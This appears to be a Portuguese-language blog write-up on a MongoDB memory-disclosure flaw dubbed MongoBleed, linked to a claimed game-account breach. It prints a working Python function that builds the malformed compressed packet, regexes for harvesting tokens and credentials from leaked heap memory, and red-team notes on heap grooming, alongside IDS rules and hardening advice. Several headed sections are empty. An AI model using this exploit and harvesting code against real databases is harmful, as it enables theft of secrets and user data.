🔓 CVE-2025-14847 MongoBleed: Vazamento Crítico de Memória no MongoDB

O Incidente do Rainbow Six Siege

Em 20 de Dezembro de 2025, o jogo Rainbow Six Siege da Ubisoft sofreu um comprometimento massivo que afetou aproximadamente 50.000 contas de jogadores. O ataque resultou em:

• Acesso não autorizado a lobbies e partidas privadas
• Manipulação de matchmaking e ranking de jogadores
• Vazamento de tokens de autenticação de servidor
• Escalação de privilégios para accounts administrativos
• Disrupção de serviço por 7 dias consecutivos

Linha do Tempo do Ataque

Análise Técnica: CVE-2025-14847

O Que É MongoBleed?

MongoBleed é uma vulnerabilidade de Information Disclosure no mecanismo de compressão de mensagens do MongoDB Wire Protocol. A falha está na validação inadequada do campo uncompressedSize em pacotes OP_COMPRESSED.

Mecanismo da Vulnerabilidade

MongoDB suporta compressão de mensagens usando zlib para reduzir tráfego de rede. O protocolo funciona assim:

FLUXO NORMAL (Sem Vulnerabilidade):
┌─────────────────────────────────────────────────────┐
│ Cliente → {compress: "zlib",                        │
│           uncompressedSize: 100,                    │
│           payload: <100 bytes compressed>}          │
├─────────────────────────────────────────────────────┤
│         ↓                                           │
│ Servidor aloca 100 bytes                            │
│         ↓                                           │
│ Servidor descomprime payload                        │
│         ↓                                           │
│ Servidor retorna 100 bytes ✓ CORRETO               │
└─────────────────────────────────────────────────────┘

FLUXO MALICIOSO (CVE-2025-14847):
┌─────────────────────────────────────────────────────┐
│ Atacante → {compress: "zlib",                       │
│            uncompressedSize: 1MB,  ← MALICIOSO!     │
│            payload: <50 bytes compressed>}          │
├─────────────────────────────────────────────────────┤
│         ↓                                           │
│ Servidor aloca 1MB de memória heap                  │
│         ↓                                           │
│ Servidor descomprime apenas 50 bytes reais          │
│         ↓                                           │
│ Servidor retorna 1MB inteiro! ← VULNERABILIDADE    │
│   └─ 50 bytes = dados reais                        │
│   └─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento!)   │
└─────────────────────────────────────────────────────┘

Código Vulnerável

A vulnerabilidade está em src/mongo/transport/message_compressor_zlib.cpp:

// ANTES DO PATCH (Vulnerável)
size_t uncompressedSize = header.uncompressedSize;  // ← Controlado pelo atacante!
buffer = malloc(uncompressedSize);                  // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);                // ← Preenche apenas parte pequena
send(buffer, uncompressedSize);                     // ← VAZA BUFFER INTEIRO!

// DEPOIS DO PATCH (Corrigido)
size_t uncompressedSize = header.uncompressedSize;
buffer = malloc(uncompressedSize);
size_t actualSize = zlib_decompress(compressed, buffer);

if (actualSize != uncompressedSize) {              // ← VALIDAÇÃO ADICIONADA
    throw BadValue("Tamanho descomprimido inconsistente");
}
send(buffer, actualSize);                           // ← Envia apenas dados reais

Versões Afetadas

Prova de Conceito Funcional

Arquitetura do PoC

Desenvolvi um framework completo de exploração com taxa de sucesso de 100% contra MongoDB 7.0.5. O PoC inclui 3 ferramentas especializadas:

Implementação do Pacote Malicioso

O exploit constrói um pacote OP_COMPRESSED com tamanho declarado muito maior que o payload real:

def build_malformed_packet(self, leak_size: int = 65536) -> bytes:
    """
    Constrói pacote OP_COMPRESSED malicioso para vazar memória.
    
    Args:
        leak_size: Tamanho de memória a vazar (padrão: 64KB)
    
    Returns:
        Pacote wire protocol completo
    """
    # Payload BSON real (pequeno)
    bson_payload = b'\\x13\\x00\\x00\\x00\\x10isMaster\\x00\\x01\\x00\\x00\\x00\\x00'
    op_query_header = struct.pack('<I', 0) + b'admin.$cmd\\x00' + struct.pack('<ii', 0, -1)
    mensagem_original = op_query_header + bson_payload
    
    # Comprime (resulta em ~42 bytes)
    corpo_comprimido = zlib.compress(mensagem_original, level=9)
    
    # Payload OP_COMPRESSED malicioso
    dados_op_compressed = (
        struct.pack('<I', 2004) +                    # originalOpcode (OP_QUERY)
        struct.pack('<I', leak_size) +               # ← MALICIOSO! (65536 vs. ~42 real)
        b'\\x02' +                                    # compressor ID (zlib)
        corpo_comprimido
    )
    
    # Cabeçalho wire protocol
    msg_id = random.randint(1, 99999)
    header = struct.pack('<iiii', 
        16 + len(dados_op_compressed),               # messageLength
        msg_id,                                       # requestID
        0,                                            # responseTo
        2012                                          # opCode (OP_COMPRESSED)
    )
    
    return header + dados_op_compressed

Detecção de Padrões Sensíveis

O PoC identifica automaticamente 10 tipos de dados sensíveis na memória vazada:

PATTERNS_R6 = {
    "JWT": re.compile(rb'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'),
    "UUID": re.compile(rb'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'),
    "R6_SERVER_AUTH": re.compile(rb'R6S_SERVER_AUTH_[A-Z0-9]{32,}'),
    "UPLAY_TOKEN": re.compile(rb'UPLAY_[A-Z_]{5,}[A-Z0-9]{20,}'),
    "SESSION_ID": re.compile(rb'match_\d{8}-[a-f0-9-]{36}'),
    "MONGODB_CONN": re.compile(rb'mongodb://[^\\s\x00]+'),
    "API_KEY": re.compile(rb'R6S_[A-Z_]+_KEY_[A-Z0-9]{20,}'),
    "IP_ADDR": re.compile(rb'\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b'),
    "EMAIL": re.compile(rb'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'),
    "HASH_SHA256": re.compile(rb'[a-f0-9]{64}')
}

Resultados Validados

UUIDs Extraídos (Prova Real)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

Exemplo de Log Vazado

{
  "$date": "2026-01-04T08:03:57.532+00:00",
  "s": "I",
  "c": "NETWORK",
  "id": 22944,
  "ctx": "conn18565",
  "msg": "Connection ended",
  "attr": {
    "remote": "127.0.0.1:51476",
    "uuid": {"$uuid":"246434ed-759b-4ce9-bb9c-2f520a9919b8"},
    "connectionId": 18565
  }
}

Detecção e Defesa

Assinaturas IDS/IPS

Snort

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size";
    content:"|d4 07 00 00|";               # OP_COMPRESSED opcode (2012)
    byte_test:4,>,1000000,4,little;        # uncompressedSize > 1MB
    classtype:attempted-admin;
    sid:2025001;
    rev:1;
)

Suricata

alert tcp any any -> any 27017 (
    msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure";
    flow:to_server,established;
    content:"|d4 07|"; offset:12; depth:2;
    byte_extract:4,8,uncompressed_len,little;
    byte_test:4,>,10485760,0,relative,uncompressed_len;
    reference:cve,2025-14847;
    classtype:successful-admin;
    sid:2025002;
)

Configuração Segura do MongoDB

Arquivo /etc/mongod.conf recomendado:

net:
  bindIp: 127.0.0.1              # NUNCA 0.0.0.0 em produção!
  port: 27017
  compression:
    compressors: []              # Desabilitar zlib até patch

security:
  authorization: enabled
  javascriptEnabled: false

setParameter:
  enableLocalhostAuthBypass: false

Prioridades de Mitigação

Indicadores de Comprometimento (IoCs)

Conclusões e Lições Aprendidas

Validação do PoC

Como Atacantes Conseguiram Tokens do R6?

Embora o PoC tenha vazado UUIDs e logs, não extraiu diretamente tokens R6S_SERVER_AUTH_*. Teorias baseadas nos resultados:

• Volume Massivo: Milhões de requisições até encontrar tokens na heap
• Timing Preciso: Exploits executados durante picos de tráfego
• Tamanhos Maiores: Vazamentos de 1MB+ para cruzar páginas de memória
• Cache Poisoning: Forçar eviction de cache para reload de dados do disco

Para Blue Team

Para Red Team

MongoBleed é um excelente caso de estudo para:

• Information Disclosure: Como transformar leaks em acesso completo
• Protocol Fuzzing: Validação inadequada de campos de tamanho
• Heap Grooming: Técnicas para aumentar probabilidade de dados sensíveis
• Post-Exploitation: Uso de tokens vazados para lateral movement

Recursos e Referências